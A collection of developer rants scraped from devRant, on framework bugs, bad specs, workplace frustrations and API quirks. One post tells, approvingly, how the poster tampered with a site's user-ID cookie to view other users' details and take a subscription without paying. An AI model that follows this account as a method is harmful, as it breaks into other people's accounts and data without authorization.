After a lot of fighting, I finally found a workaround: if I add a `data-work-you-piece-of-garbage` prop alongside it, only then will the className show up on the rendered element. Why? I have no freaking clue. I tested it three times and got the same results. I looked through the MUI source and it still doesn't make any sense.
Fucking whatever, only three hours wasted.13 -
pushed an error ajax to production: alert( data + "form not submitted you cunt"); I forgot to remove it. 😂😂4
-
Well, it wasn't fun, but I switched jobs this month. And sadly, it was mostly because my old company started building custom applications for our larger customers. Now, normally that wouldn't be too bad (other than the fact that it distracts us form working on our main product...) but... it was decided that we would use the back end of our user-generated forms module as the data storage layer. Someone outside of my department thought it would be a great idea, and my boss kinda just rolled over without a fight because he always just figures he can "make it work" if he works hard enough...
You shoulda seen the database and SQL code...
Because of that decision, everything took at least 3x as long to write and there was always the looming possibility that the user could change the schema on a whim and break the app.
I think the reasoning behind it was to try and keep the customers tied to the aging flagship product (with a pricy subscription model), but IMO, it was not with it. Our efforts could've had much greater impact somewhere else. Nobody seemed to care what I thought about it though...
I had to start over as a front-end dev, but I'm trying to look on the bright side and seeing it as an opportunity to sharpen my skills in that area. I'm already learning a lot. And although it's a little scary at times, it's also so refreshing to work at a place where I know I'm not the smartest guy in the room.
To the future!5 -
SWIFT!!!!! I understand that you're a relatively new language so I forgave you for all of your wrong doings..BUT WHAT THE FINGER IS THIS SHIT YOU HAVE IMPLEMENTED IN YOUR STRING DATATYPE? WHY THE FUCK CAN'T YOU FORM A CHARACTER FROM AN EMPTY STRING? AND WHAT THE ACTUAL FUCK HAPPENED TO THE SUBSCRIPT OPERATOR? WHY NOT JUST ADOPT THE "\0" AS OTHER LANGUAGES? But NOOOOO...We're Apple we'll not adopt it..I WAS UNDER THE IMPRESSION THAT STUPIDITY AND LUCK OF INNOVATION RAN IN THE IPHONE TEAM BUT APPARENTLY ITS EVERYWHERE..Its annoying because the String datatype is one of the most common and basic data types so the last thing you expect is this shit..APPLE........SERIOUSLY AND SINCERELY FUCK OFF4
-
So, I was gonna rant about how it can be difficult to design event-based Microservices.
I was gonna say some shit about gateways APIs and some other stuff about data aggregation and keeping things idempotent.
I was going to do all this but then as I was stretching out the old ranting fingers I decided to draw a diagram to maybe go along with the rant.
Now I’m not here to really rant about all that Jazz...
I’m here to give you all a first class opportunity to tear apart my architecture!
A few things to note:
Using a gateway API (Kong) to separate the mobile from the desktop.
This traffic is directed through to an in intermediate API. This way the same microservices can provide different data, and even functionality for each device.
Most Microservices currently built in golang.
All services are event based, and all data is built on-the-fly by events generated and handled by each Microservices.
RabbitMQ used as a message broker.
And finally, it is hosted in Google Cloud Platform.
The currently hosted form is built with Microservices but this will be the update version of things.
So, feel free to rip it apart or add anything you think should change.
Also, feel free to tell me to fuck right off if that’s your cup of tea as well.
Peace ✌🏼
19 -
OCR (The exam board for my course) are fucking thick in the head when it comes to anything computing.
- I get a mark or two for saying open source software is worse than thier propritary counterparts
- ALL open source software forks must also be make open source. They spend so much time going over the legal stuff BUT HAVE NEVER HEARD OF OPEN SOURCE LICENCING!
- One exam paper had a not gate picture with 2 inputs...
- I have to differentiate between portable and handheld! YOU MEAN HANDHELD DEVICES ARE NOT PORTABLE!?!!?!?
- In level 2 education, OCR say 1 MB = 1024 KB - In level 3, they say 1 MB = 1000 KB, and 1 MiB = 1024 KiB, and expect you to differentiate. Why do you expect the wrong answer in level 2!?
- INFORMATION FORMATS AND STYLES ARE COMPLETELY DIFFERENT THINGS! If you look up synonyms for "style", "form" is there, and if you look up synonyms for "format", "style" is there.
- When asked for storage devices, I have to say "smartphone", "tablet", "desktop PC" - I mean yeah they store data but when you ask me for storage devices I will say "hard disk drive", "solid state drive", "SD card", etc. >.>
I could probably go on an on about this...
I sure do love being asked to copy-paste existing HTML/JS/CSS and being asked to just tweak it here and there, and then wait for other people's incompetence in copy-pasting... I sure do love being stuck with this sort of "education" ._.4 -
"Ad targeters are pulling data from your browser’s password manager"
---
Well, fuck.
"It won't be easy to fix, but it's worth doing"
Just check for visibility or like other password managers handle it iirc: assign a unique identifier based on form content and fill that identifier only.
---
"Nearly every web browser now comes with a password manager tool, a lightweight version of the same service offered by plugins like LastPass and 1Password. But according to new research from Princeton's Center for Information Technology Policy, those same managers are being exploited as a way to track users from site to site.
The researchers examined two different scripts — AdThink and OnAudience — both of are designed to get identifiable information out of browser-based password managers. The scripts work by injecting invisible login forms in the background of the webpage and scooping up whatever the browsers autofill into the available slots. That information can then be used as a persistent ID to track users from page to page, a potentially valuable tool in targeting advertising."
Source: https://theverge.com/2017/12/...
14 -
I know people complain about Android Gradle takes so long to build (and I know the reason why, thanks to @DRHAX34) but for me that isn't what I have to wait for.
It's the shitty WiFi at work that causes issues/bugs I'll never experience normally lol
When my app builds I have to also connect to the internet and check for updates against the umbraco server, and it works if it fails to connect (naturally) but our internet somehow manages to stay connected enough to trick the app into doing continuous checks or some form of tiny and long downloads
I've been tempted and sometimes do use my own mobile data which would waste my tiny data (at the time)
Anyways fuck you shiternet lol -
My code review nightmare?
All of the reviews that consisted of a group of devs+managers in a conference room and a big screen micro-analyzing every line of code.
"Why did you call the variable that? Wouldn't be be more efficient to use XYZ components? You should switch everything to use ServiceBus."
and/or using the 18+ page coding standard document as a weapon.
PHB:"On page 5, paragraph 9, sub-section A-123, the standards dictate to select all the necessary data from the database. Your query is only selecting 5 fields from the 15 field field table. You might need to access more data in the future and this approach reduces the amount of code change."
Me: "Um, if the data requirements change, wouldn't we have change code anyway?"
PHB: "Application requirements are determined by our users, not you. That's why we have standards."
Me: "Um, that's not what I ..."
PHB: "Next file, oh boy, this one is a mess. On page 9, paragraph 2, sub-section Z-987, the standards dictate to only select the absolute minimum amount of the data from the database. Your query is selecting 3 fields, but the application is only using 2."
Me: "Yes, the application not using the field right now, but the user stated they might need the data for additional review."
PHB: "Did they fill out the proper change request form?"
Me: "No, they ...wait...Aren't the standards on page 9 contradictory to the standards on page 5?"
PHB: "NO! You'll never break your cowboy-coding mindset if you continue to violate standards. You see, standards are our promise to customers to ensure quality. You don't want to break our promises...do you?"7 -
I am much too tired to go into details, probably because I left the office at 11:15pm, but I finally finished a feature. It doesn't even sound like a particularly large or complicated feature. It sounds like a simple, 1-2 day feature until you look at it closely.
It took me an entire fucking week. and all the while I was coaching a junior dev who had just picked up Rails and was building something very similar.
It's the model, controller, and UI for creating a parent object along with 0-n child objects, with default children suggestions, a fancy ui including the ability to dynamically add/remove children via buttons. and have the entire happy family save nicely and atomically on the backend. Plus a detailed-but-simple listing for non-technicals including some absolutely nontrivial css acrobatics.
After getting about 90% of everything built and working and beautiful, I learned that Rails does quite a bit of this for you, through `accepts_nested_params_for :collection`. But that requires very specific form input namespacing, and building that out correctly is flipping difficult. It's not like I could find good examples anywhere, either. I looked for hours. I finally found a rails tutorial vide linked from a comment on a SO answer from five years ago, and mashed its oversimplified and dated examples with the newer documentation, and worked around the issues that of course arose from that disasterous paring.
like.
I needed to store a template of the child object markup somewhere, yeah? The video had me trying to store all of the markup in a `data-fields=" "` attrib. wth? I tried storing it as a string and injecting it into javascript, but that didn't work either. parsing errors! yay! good job, you two.
So I ended up storing the markup (rendered from a rails partial) in an html comment of all things, and pulling the markup out of the comment and gsubbing its IDs on document load. This has the annoying effect of preventing me from using html comments in that partial (not that i really use them anyway, but.)
Just.
Every step of the way on building this was another mountain climb.
* singular vs plural naming and routing, and named routes. and dealing with issues arising from existing incorrect pluralization.
* reverse polymorphic relation (child -> x parent)
* The testing suite is incompatible with the new rails6. There is no fix. None. I checked. Nope. Not happening.
* Rails6 randomly and constantly crashes and/or caches random things (including arbitrary code changes) in development mode (and only development mode) when working with multiple databases.
* nested form builders
* styling a fucking checkbox
* Making that checkbox (rather, its label and container div) into a sexy animated slider
* passing data and locals to and between partials
* misleading documentation
* building the partials to be self-contained and reusable
* coercing form builders into namespacing nested html inputs the way Rails expects
* input namespacing redux, now with nested form builders too!
* Figuring out how to generate markup for an empty child when I'm no longer rendering the children myself
* Figuring out where the fuck to put the blank child template markup so it's accessible, has the right namespacing, and is not submitted with everything else
* Figuring out how the fuck to read an html comment with JS
* nested strong params
* nested strong params
* nested fucking strong params
* caching parsed children's data on parent when the whole thing is bloody atomic.
* Converting datetimes from/to milliseconds on save/load
* CSS and bootstrap collisions
* CSS and bootstrap stupidity
* Reinventing the entire multi-child / nested params / atomic creating/updating/deleting feature on my own before discovering Rails can do that for you.
Just.
I am so glad it's working.
I don't even feel relieved. I just feel exhausted.
But it's done.
finally.
and it's done well. It's all self-contained and reusable, it's easy to read, has separate styling and reusable partials, etc. It's a two line copy/paste drop-in for any other model that needs it. Two lines and it just works, and even tells you if you screwed up.
I'm incredibly proud of everything that went into this.
But mostly I'm just incredibly tired.
Time for some well-deserved sleep.7 -
So I have seen this quite a few times now and posted the text below already, but I'd like to shed some light on this:
If you hit up your dev tools and check the network tab, you might see some repeated API calls. Those calls include a GET parameter named "token". The request looks something like this: "https://domain.tld/api/somecall/..."
You can think of this token as a temporary password, or a key that holds information about your user and other information in the backend. If one would steal a token that belongs to another user, you would have control over his account. Now many complained that this key is visible in the URL and not "encrypted". I'll try to explain why this is, well "wrong" or doesn't impose a bigger security risk than normal:
There is no such thing as an "unencrypted query", well besides really transmitting encrypted data. This fields are being protected by the transport layer (HTTPS) or not (HTTP) and while it might not be common to transmit these fields in a GET query parameter, it's standard to send those tokens as cookies, which are as exposed as query parameters. Hit up some random site. The chance that you'll see a PHP session id being transmitted as a cookie is high. Cookies are as exposed as any HTTP GET or POST Form data and can be viewed as easily. Look for a "details" or "http header" section in your dev tools.
Stolen tokens can be used to "log in" into the website, although it might be made harder by only allowing one IP per token or similar. However the use of such a that token is absolut standard and nothing special devRant does. Every site that offers you a "keep me logged in" or "remember me" option uses something like this, one way or the other. Because a token could have been stolen you sometimes need to additionally enter your current password when doings something security risky, like changing your password. In that case your password is being used as a second factor. The idea is, that an attacker could have stolen your token, but still doesn't know your password. It's not enough to grab a token, you need that second (or maybe thrid) factor. As an example - that's how githubs "sudo" mode works. You have got your token, that grants you more permissions than a non-logged in user has, but to do the critical stuff you need an additional token that's only valid for that session, because asking for your password before every action would be inconvenient when setting up a repo
I hope this helps understanding a bit more of this topic :)
Keep safe and keep asking questions if you fell that your data is in danger
Reeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee5 -
You know GDPR compliance is going to create a whole new form of scam where scammers impersonate users and send data requests to companies to get people's info.9
-
I just tried to sign up to Instagram. I made a big mistake.
First up with Facebook related stuff is data. Data, data and more data. Initially when you sign up (with a new account, not login with Facebook) you're asked your real name, email address and phone number. And finally the username you'd like to have on the service. I gave them a phone number that I actually own, that is in my iPhone, my daily driver right now (and yes I have 3 Androids which all run custom ROMs, hold your keyboards). The email address is a usual for me, instagram at my domain. I am a postmaster after all, and my mail server is a catch-all one. For a setup like that, this is perfectly reasonable. And here it's no different, devrant at my domain. On Facebook even, I use fb at my domain. I'm sure you're starting to see a pattern here. And on Facebook the username, real name and email domain are actually the same.
So I signed up, with - as far as I'm aware - perfectly valid data. I submitted the data and was told that someone at Instagram will review the data within 24 hours. That's already pretty dystopian to me. It is now how you block bots. It is not how Facebook does it either, at least since last time I checked. But whatever. You'd imagine that regardless of the result, they'd let you know. Cool, you're in, or sorry, you're rejected and here's why. Nope.
Fast-forward to today when I recalled that I wanted to sign up to Instagram to see my girlfriend's pictures. So I opened Chromium again that I already use only for the rancid Facebook shit.. and it was rejected. Apparently the mere act of signing up is a Terms of Service violation. I have read them. I do not know which section I have violated with the heinous act of signing up. But I do have a hunch.
Many times now have I been told by ignorant organizations that I would be "stealing" their intellectual property, or business assets or whatever, just because I sent them an email from their name on my domain. It is fucking retarded. That is MY domain, not yours. Learn how email works before you go educate a postmaster. Always funny to tell them how that works. But I think that in this case, that is what happened.
So I appealed it, using a random link to something on Instagram's help section from a third-party blog. You know it's good when the third-party random blog is better. But I found the form and filled it in. Same shit all over again for info, prefilling be damned I guess. Minor convenience though, whatever.
I get sent an email in German, because apparently browsing through a VPS in Germany acting as a VPN means you're German. Whatever... After translating it, I found that it asks me to upload a picture of myself, holding a paper in my hands, on which I would have a confirmation code, my username, and my email address.. all hand-written. It must not be too dark, it must be clear, it must be in JPEG.. look, I just wanted to fucking sign up.
I sent them an email back asking them to fix all of this. While I was writing it and this rant, I thought to myself that they can shove that piece of paper up their ass. In fact I would gladly do it for them.
Long story short, do not use Instagram. And one final thing I have gripes with every time. You are not being told all the data you'll have to present from the get-go. You're not being told the process. Initially I thought it'd just be email, phone, username, and real name. Once signed up (instantly, not within 24 hours!) I would start setting up my account and adding a profile picture. The right way to ask for a picture of me! And just do it at my own pace, as I please.
And for God's sake, tackle abuse when it actually happens. You'll find out who's a bot and who isn't by their usage patterns soon enough. Do not do any of this at sign-up. Or hell, use a CAPTCHA or whatever, I don't fucking care. There's so many millions of ways to skin this cat.
Facebook and especially Instagram. Both of them are fucking retarded.6 -
Oh fucking Huawei.
Fuck you.
Inventory:
- Honor 6x (BLN-L22C675)
- Has EMUI4.1 Marshmallow
- Cousin brother 'A' (has bricking XP!)
- Uncle 'K'
- Has Mac with Windows VM
Goal:
- Stock as LineageOS / AOSP
Procedure (fucking seriously):
- Find XDA link to root H6X
- Go to Huawei page and fill out form
- Receive and use bootloader code
- Find latest TWRP
- Flash latest TWRP
- TWRP not working? Bootloops
- XDA search "H6X boot to recovery"
- Find and try modded TWRP
- TWRP fails, no bootloop
- Find & flash TWRP 3.1.0
- Yay! TWRP works
- Find and download LineageOS and SuperSU
- Flash via TWRP
- Yay! Success.
- Attempt boot
- Boot fails. No idea why
- Go back to TWRP
- TWRP gives shitload of errors
"cannot mount /data, storage etc."
- Feel fucked up
- Notice that userdata partition exists,
but FSTAB doesn't take
- Remembers SuperSU modded boot
image and FSTABS!
- Fuck SuperSU
- Attempt to mod boot image
- Doesn't work (modded successfully
but no change)
- Discover Huawei DLOAD
Installer for "UPDATE.APP" OTAs
Note: Each full OTA is 2+ GB zipped
- Find, download, fail on 4+ OTAs
- Discover "UPDATE.APP Extractor"
Runs on Windows
Note: UPDATE.APP custom format
Different per H6X model
- Uses 'K''s VM to test
- My H6X model does not have
a predefined format
- Process to get format requires
TWRP, which is not working
- FAIL HERE
- Discover "Firmware Finder"
Windows app to find Huawei
firmwares
- Tries 'K''s VM
- Fails with 1 OTA
- Downloads another firmware ZIP
- Unzips and tries to use OTA
- Works?!
- Boots successfully?!
- Seems to have EMUI 5.0 Nougat
- Downloads, flashes TWRP
- TWRP not working AGAIN?
- Go back to XDA page
- Find that TWRP on EMUI 5 - NO
- Find rollbacks for EMUI5 -> EMUI4
- Test, fail 2-4 times (Massive OTAs)
- DLOAD accepts this one?!!!
- I HAVE ORIG AGAIN!!!
- Re-unlock and reflash TWRP
- Realise that ROMs aren't working on
EMUI 4.1; Find TWRPs for EMUI5
- Find and fail with 2-3 OTAs
Note: Had removed old OTAs for
space on Chromebook (32GB)
- In anger, flash one with TWRP
instead of DLOAD (which checks
compatability)
- Works! Same wasn't working with
DLOAD
- Find and flash a custom TWRP
as old one still exists (not wiped in
flash)
- Try flashing LineageOS
- LineageOS stuck in boot
- Try flashing AOSP
- Same
- Try flashing Resurruction Remix
- Same
- Realise that need stock EMUI5
vendor
- Realise that the firmware I installed
wasn't for my device so not working
- FUCK NO MORE LARGE DLs
- Try another custom TWRP
- Begin getting '/cust mounting' errs
- Try reflashing EMUI5 with TWRP
- Doesn't work
- Try DLOADing EMUI5
- Like before, incompatability
- DLOAD EMUI4
- Reunlock and reflash TWRP
- WRITE THIS AS A BREAK
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRRRRRRRRRRRRRRRRRRRRRRRGGGGGGGGGGGGGGGGGGGGGGGGGHHHHHHHHHHHHHH7 -
For fucks sake, how many times can you get the same error before giving up?
So, there's this form, and it's used quite frequently without fail, and there's this 1 user receiving an error that some data is incorrect, so... they submit the form again, and again, and again, and 6 more times with the same bloody error all because changing 1 fucking field is obviously to hard to recognise as the problem when the error says "you can not have 'x' in field 'y'"
Fuck it, do I need to replace 'x' with a blank, just because you can't read a fucking error message?13 -
I’m trying to add digit separators to a few amount fields. There’s actually three tickets to do this in various places, and I’m working on the last of them.
I had a nightmare debugging session earlier where literally everything would 404 unless I navigated through the site in a very roundabout way. I never did figure out the cause, but I found a viable workaround. Basically: the house doesn’t exist if you use the front door, but it’s fine if you go through the garden gate, around the back, and crawl in through the side window. After hours of debugging I eventually discovered that if I unlocked the front door with a different key, everything was fine… but nobody else has this problem?
Whatever.
Onto the problem at hand!
I’m trying to add digit separators to some values. I found a way to navigate to the page in question (more difficult than it sounds), and … I don’t know what view is rendering the page. Or what controller. Or how it generates its text.
The URL is encrypted, so I get no clues there. (Which was lead dev’s solution to having scrapeable IDs instead of just, you know, fixing them). The encryption also happens in middleware, so it’s a nightmare to work through. And it’s by the lead dev, so the code is fucking atrocious.
The view… could be one of many, and I don’t even know where they are. Or what layout. Or what partials go into building it.
All of the text on the page are “resources” — think named translations that support plus nested macros. I don’t know their names, and the bits of text I can search for are used fucking everywhere. “Confirmation number” (the most unique of them) turns up 79 matches. “Fee” showed up in 8310 places before my editor gave up looking. Really.
The table displaying the data, which is what I actually care about, isn’t built in JS or markup, but is likely a resource that goes through heavy processing. It gets generated in a controller somewhere (I don’t know the resource name so I can’t find it), and passed through several layers of “dynamic form” abstraction, eventually turned into markup, and rendered as a partial template. At least, that’s how it worked in the previous ticket. I found a resource that looks right, and there’s only the one. I found the nested macros it uses for the amount and total, and added the separators there… only to find that it doesn’t work.
Fucking dead end.
And i have absolutely nothing else to go on.
Page title? “Show”
URL? /~LiolV8N8KrIgaozEgLv93s…
Text? All from macros with unknown names. Can’t really search for it without considerable effort.
Table? Doesn’t work.
Text in the table? doesn’t turn up anything new.
Legal agreement? There are multiple, used in many places, generates them dynamically via (of course) resources, and even looking through the method usages, doesn’t narrow it down very much.
Just.
What the fuck?
Why does this need to be so fucking complicated?
And what genius decided “$100000.00” doesn’t need separators? Right, the lot of them because separators aren’t used ANYWHERE but in code I authored. Like, really? This is fintech. You’d think they would be ubiquitous.
And the sheer amount of abstraction?
Stupid stupid stupid stupid stupid.11 -
Just discovered a major bug in a frontend app of ours that might have been collecting wrong data in a form for months already :)
That is what happens when you put a back end Dev to do front end and back end while demanding rework every fucking 2 days for 9 months straight.4 -
I work as the entire I.T. department of a small business which products are web based, so naturally, I do tech support in said website directly to our clients.
It is normal that the first time a new client access our site they run into questions, but usually they never call again since it is an easy website.
There was an unlucky client which ran into unknown problems and blamed the server.
I couldn't determine the exact cause, but my assumption was a network error for a few seconds which made the site unavailable and the user tried to navigate the site through the navbar and exited the process he was doing. It goes without saying but he was very angry.
I assured him there was nothing wrong with the site, and told him that it would not be charged for this reason. Finally i told him that if he had the same problem, to let me know instead of trying to fix it himself.
The next time he used the site I received a WhatsApp message saying:
- there is something clearly wrong with the site... It has been doing this for so long!
And attached was a 10 second video which showed that he filled a form and never pressed send (my forms have small animations and text which indicates when the form is being send and error messages when an error occurs, usually not visible because the data they send is small and the whole process is quite fast)
To which I answer
- It seems that the form has not been send that's why it looks that way
- So... What an I supposed to do?
- click send
It took a while but the client replied
- ok
To this day I wonder how much time did the client stared at the form cursing the server. -
The people who wrote the specs for SAP OCI should be hanged by rusty barbed wire while being tickled by krusty the clown.
Which one of these stinky hobbits thought it was a great idea to require a (catalog) server to handle a POST request by sending back an HTML form which has to execute a POST request immediately by JavaScript on load?
Why not fucking respond with the actual god damn fucking data?
Some "senior" (read "senile") software "engineer" has to get decapitated.
Quote from the specification (OCI Function: VALIDATE, section 2.3.2):
"The product catalog replies with an HTML page that contains a form with the productdata in OCI format. [...] The HTML page may not contain any visible elements ([...]). The form must be sent automatically by JavaScript after the page has been loaded."
The only thing that should get sent after loading would be these people's asses to hell after my minigun has finished loading.
SAP is the kind of company who earns a huge junk of money from utter, stinking, filthy crap and they like to piss in their customers' "müesli".4 -
TLDR: Find a website that requires a subscription but doesn't check their cookies' integrity, now I'm on a website for free.
>be me
>wonder if it's possible to intercept browser data
>download Wireshark
>download Fiddler
>find that none of these really fit me
>go to youtube, search how to intercept POST data
>find something called BurpSuite
>Totally what I was looking for
>start testing BurpSuite on devrant
>neat!
>I can see all the data that's being passed around
>wonder if I can use it on a website where my subscription recently ended.
>try changing my details without actually inputting anything into the website's form
>send the data to the server
>refresh the page
>it worked
>NEAT!
>Huh what's this?
>A uid
>must be a userID
>increment it by 1 and change some more details
>refresh the page
>...
>didn't work 😐
>Hmmm, let's try forwarding the data to the browser after incrementing the uid
>OH SHIT
>can see the details of a different user
>except I see his details are the details I had entered previously
>begin incrementing and decrementing the uid
>IFINITE POWER
>realize that the uid is hooked up to my browsers local cookie
>can see every user's details just by changing my cookie's uid
>Wonder if it's possible to make the uid persistent without having to enter it in every time
>look up cookie manipulator
>plug-in exists
>go back to website
>examine current uid
>it's my uid
>change it to a different number
>refresh the webpage
>IT FUCKING WORKED
>MFW I realize this website doesn't check for cookie integrity
>MFW I wonder if there are other websites that are this fucking lazy!!!
>MFW they won't fix it because it would require extra work.
>MFuckingFW they tell me not to do it again in the future
>realize that since they aren't going to fix it I'll just put myself on another person's subscription.5 -
So I joined this financial institution back in Nov. Selling themselves as looking for a developer to code micro-services for a Spring based project and deploying on Cloud. I packed my stuff, drove and moved to the big city 3500 km away. New start in life I thought!
Turns out that micro-services code is an old outdated 20 year old JBoss code, that was ported over to Spring 10 years ago, then let to rot and fester into a giant undocumented Spaghetti code. Microservices? Forget about that. And whats worse? This code is responsible for processing thousands of transactions every month and is currently deployed in PROD. Now its your responsibility and now you have to get new features complied on the damn thing. Whats even worse? They made 4 replicas of that project with different functionalities and now you're responsible for all. Ma'am, this project needs serious refactoring, if not a total redesign/build. Nope! Not doing this! Now go work at it.
It took me 2-3 months just to wrap my mind around this thing and implement some form of working unit tests. I have to work on all that code base by myself and deliver all by myself! naturally, I was delayed in my delivery but I finally managed to deliver.
Time for relief I thought! I wont be looking at this for a while. So they assign me the next project: Automate environment sync between PROD and QA server that is manually done so far. Easy beans right? And surely enough, the automation process is simple and straightforward...except it isnt! Why? Because I am not allowed access to the user Ids and 3rd party software used in the sync process. Database and Data WareHouse data manipulation part is same story too. I ask for access and I get denied over and over again. I try to think of workarounds and I managed to do two using jenkins pipeline and local scripts. But those processes that need 3rd party software access? I cannot do anything! How am I supposed to automate job schedule import on autosys when I DONT HAVE ACCESS!! But noo! I must think of plan B! There is no plan B! Rather than thinking of workarounds, how about getting your access privileges right and get it right the first time!!
They pay relatively well but damn, you will lose your sanity as a programmer.
God, oh god, please bless me with a better job soon so I can escape this programming hell hole.
I will never work in finance again. I don't recommend it, unless you're on the tail end of your career and you want something stable & don't give a damn about proper software engineering principles anymore.3 -
I spent two weeks writing a WordPress plugin to take some form data, process it through another website, and take the result to Salesforce. the client had a "Salesforce specialist" doing everything on the Salesforce side and refused to give me access to see if the data was properly pushed through.
Finally I got it in working condition when suddenly it stopped working, I hadn't changed anything since it worked so I asked if he could have possibly changed something. We argued for over 4 hours about who changed something, the whole time I was looking for the error in my code. At 6pm I finally told him I would need to take a look at it tomorrow.
Overnight he sent me an email:
"Hey, sorry about the confusion yesterday, I set Salesforce to deny duplicate email entries, looks like once I removed that everything is working."6 -
Corp: you will get a four hour assignment to work out
Me: cool nice.
Corp: here it is, build a dragon with conflicting requirements, stocks but without any form of pricing mixed in. Then slay that dragon and post it to the static backend we created.
Me: cringe much?
Corp: yeah, you can spend more than 4h but be sure to spice things up abit. Since it is frontend, and all we spin up from the backend is flat data. But it must exhale an exciting user experience.
Me: stop the cringe pls!6 -
TL;DR: Stop using React for EVERYTHING. It's not the end-all solution to every application need.
My team is staffed about 50/50 with tenured devs, and junior devs who have never written a full application and don't understand the specific benefits of different libraries/framworks. As a result, most of these junior devs have jumped on the React train, and they're under the impression that React is the end-all answer to any possible application need. Doesn't matter what type of app is, what kind of data is going to be flowing through the app, data scale, etc. In their eyes, React is always the answer. Now, while I'm not a big fan of React myself, I will say that it does its job when its tasked with a data-heavy application that needs to be refreshed/re-rendered dynamically and frequently (like Facebook.) However, my main gripe is that some people insist on using it for EVERYTHING. They refuse to acknowledge that there can be better library/framework choices (Angular, Vue, or even straight jQuery,) and they refuse to learn any other frameworks. You can hit them with countless technical reasons as to why React isn't a good choice for a particular application, and they'll just spout off the same tidbits from the "ReactJS Makes My Nips Hard 101" handbook: "React is the future," "Component-based web architecture is the future," (I'm not arguing with that last one) "But...JSX bro.," "Facebook and Netflix use it, so that's how you know it's amazing." They'll use React for a simple app, and make it overly-complex, and take months to write something that should have taken them a week. For example, we have one dev who has never used any other frameworks/libraries apart from React, and he used React (via create-react-app) to write what is effectively a single form and a content widget inside of a bootstrap template. It took him 4 MONTHS to write this, and it still isn't fully functioning. The search functionality doesn't really work (in fact, it's just array filtering,) and wont return any results if you search for the first word in an entry. His repo is a mess, filled with a bunch of useless files that were bootstrap'd in via create-react-app. We've built apps like this in a week in the past using different libraries/frameworks, and he could have done the same if he didn't overly-complicate the project by insisting on using React. If your app is essentially a dynamic form, you don’t need a freaking virtual DOM.
This happens every time a big new framework hits the scene. New young developers get sucked into it, because it's the cool hip new framework (or in React's case, library.) and they use it for everything, even when it's not the best choice. It happened with Angular, Rails, and now it's happening with React.
React has its benefits, but please please please consider which library/framework is the best choice from a technical standpoint before immediately jumping on the React train because "Facebook uses it bro."2 -
Apart from having a baby which is the hardest in the world，i think the hardest project is to learn to code.
I studied philosophy and anthropology but gamed a lot. Me and a good mate decided to work together and he told me hed teach me coding.
The guy is a genius but he is a reckless rebel genius who tells everybody to fuck off.
So，after 1 year in a half of intense coding where i had to learn linux， networks， and im not shitting you html and css as well and of course javascript.
He has now put me on， for the last 2 month， in charge of our front end backoffice. I have to design forms that do the right http requests，do the unit testing， play with redux-form， react-redux and he has thrown me into the basic java backend so i can begin working with entites and how i serve the data and link it to the database and even create tables.
Every time i fail hemakes me remake everything.
I actually came on devrant to study the dev community (i always gamed a lot but this is a whole different community). The dev community is pretty awesome and unique.
Anyhow， i remember when i saw him as me to complete an exercise and i didnt event know which words were the reserved language ones and those i could use myself. It was like fucking magic.3 -
made a Facebook app once that allowed users to submit their stories for a competition to win a tablet. The HTML form had no limit on length but ORM defaulted to 1000 characters in database, imagine the sourprise when we exported the data for the client at the end...1
-
User: This web page form is too hard to use and is prone to have wrong data filled out.
Me: Uh...ok. Here is a redesign. You literally fill out one text field and a date picker.
User: Oh this is great, thanks.
*checks the database and the very first entry they created had the wrong date.*
Fuck me.6 -
There you are, fiddling with next.js webpack settings, because your isomorphic JS-in-CSS-in-JS SSR fallback from react-native-web to react-dom throws a runtime error on your SSR prerendering server during isomorphic asynchronous data prefetching from Kubernetes backend-for-frontend edge-server with GraphQL.
You have all that tech to display a landing page with an email form, just to send spam emails with ten tracking links and five tracking beacons per email.
Your product can be replaced by an Excel document made in two days.
It was developed in two years by a team of ten developers crunching every day under twelve project managers that can be replaced with a parrot trained to say “Any updates?”
Your evaluation is $5M+. You have 10,000 dependency security warnings, 1000 likes on Product Hunt, 500 comments on Hacker News, and a popular Twitter account.
Your future looks bright. You finish your coffee, crack your knuckles and carry on writing unit tests.
5 -
My very first rant here was about the mess of ticket submission and ticket tracking applications we use, and about how we were moving to a single unified system some day.
Well, that day is today. And, predictably, it went horribly wrong.
So the way it's supposed to work is people login to the portal, search for what they want to request, then fill in details and submit. It creates a request ticket assigned to the appropriate team. (The old way involved a bunch of nonsense that you can see in my first rant).
The thing is, I found out about this today, when I got a company-wide email saying the new system was live as of this morning. None of us knew it would happen today. Not that I could've foreseen any issues just by getting the announcement early, but still, usually people find out about these things beforehand.
So, ecstatic to finally be rid of the old ticket tracking system, I log into the new system and look for our request form, which is, of course, not there. I check the old system and see that they combined every single "general request" into a single request where you pick which team the request goes to.
So I finally find the right request, pick the right department from the drop-down, and see that the request looks much better than it did on the old system. Out of curiosity, I look at the list of people who are part of that department.
I am not on the list.
My ENTIRE TEAM is not on the list.
Because they migrated the team data to the new system a year ago, when the issue tracking/reporting portion of it went live. My current team was hired approximately six months after that and apparently updating the team data in the new system isn't part of our Onboarding process yet.
So... Bright side is I guess I will have a lot of free time soon since nobody can submit new project work to my team?
tl;dr: they took a great software product and implemented it so poorly that our team can't use it.3 -
So I just spent the last few hours trying to get an intro of given Wikipedia articles into my Telegram bot. It turns out that Wikipedia does have an API! But unfortunately it's born as a retard.
First I looked at https://www.mediawiki.org/wiki/API and almost thought that that was a Wikipedia article about API's. I almost skipped right over it on the search results (and it turns out that I should've). Upon opening and reading that, I found a shitload of endpoints that frankly I didn't give a shit about. Come on Wikipedia, just give me the fucking data to read out.
Ctrl-F in that page and I find a tiny little link to https://mediawiki.org/wiki/... which is basically what I needed. There's an example that.. gets the data in XML form. Because JSON is clearly too much to ask for. Are you fucking braindead Wikipedia? If my application was able to parse XML/HTML/whatevers, that would be called a browser. With all due respect but I'm not gonna embed a fucking web browser in a bot. I'll leave that to the Electron "devs" that prefer raping my RAM instead.
OK so after that I found on third-party documentation (always a good sign when that's more useful, isn't it) that it does support JSON. Retardpedia just doesn't use it by default. In fact in the example query that was a parameter that wasn't even in there. Not including something crucial like that surely is a good way to let people know the feature is there. Massive kudos to you Wikipedia.. but not really. But a parameter that was in there - for fucking CORS - that was in there by default and broke the whole goddamn thing unless I REMOVED it. Yeah because CORS is so useful in a goddamn fucking API.
So I finally get to a functioning JSON response, now all that's left is parsing it. Again, I only care about the content on the page. So I curl the endpoint and trim off the bits I don't need with jq... I was left with this monstrosity.
curl "https://en.wikipedia.org/w/api.php/...=*" | jq -r '.query.pages[0].revisions[0].slots.main.content'
Just how far can you nest your JSON Wikipedia? Are you trying to find the limits of jq or something here?!
